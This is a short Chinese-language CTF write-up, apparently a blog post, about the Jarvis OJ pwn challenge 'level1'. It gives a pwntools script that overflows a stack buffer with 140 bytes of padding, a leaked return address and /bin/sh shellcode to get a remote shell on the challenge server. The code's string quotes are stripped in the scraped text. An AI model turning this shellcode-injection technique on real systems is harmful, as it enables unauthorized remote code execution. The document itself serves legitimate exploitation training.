1. 程式人生 > >Jarvis Oj Pwn 學習筆記-level1

Jarvis Oj Pwn 學習筆記-level1

ID lin send add 技術分享 r+ rar bsp strong

32位pwn題目

呈上鏈接:

https://files.cnblogs.com/files/Magpie/level1.rar

nc pwn2.jarvisoj.com 9877

先看一下保護:

技術分享圖片

竟然什麽都沒開......所以...

扔進IDA找到溢出點就可以開始食用了:

技術分享圖片

選中的函數即為存在溢出點的函數:

技術分享圖片

出題人可以說......是把通往shell的鑰匙貼在臉上了。。

特意烹制了一條printf告訴你棧的具體內存地址,shellcode了解一哈...

直接上exp吧:

 1 from pwn import *
 2 context(arch = i386, os = linux)
 3
r = remote(pwn2.jarvisoj.com, 9877) 4 # EXPLOIT CODE GOES HERE 5 ech=r.recvline() 6 print ech+############## 7 shellcode=asm(shellcraft.sh()) 8 retaddr=int(input(pls ipt=echaddr+0x88+0x08:)) 9 print p32(retaddr) 10 payload=A*140+p32(retaddr)+shellcode 11 r.send(payload) 12 r.interactive()

寫這段的時候由於初學pwntools,還不太熟練。。

所以,,代碼很醜就不說了~

Jarvis Oj Pwn 學習筆記-level1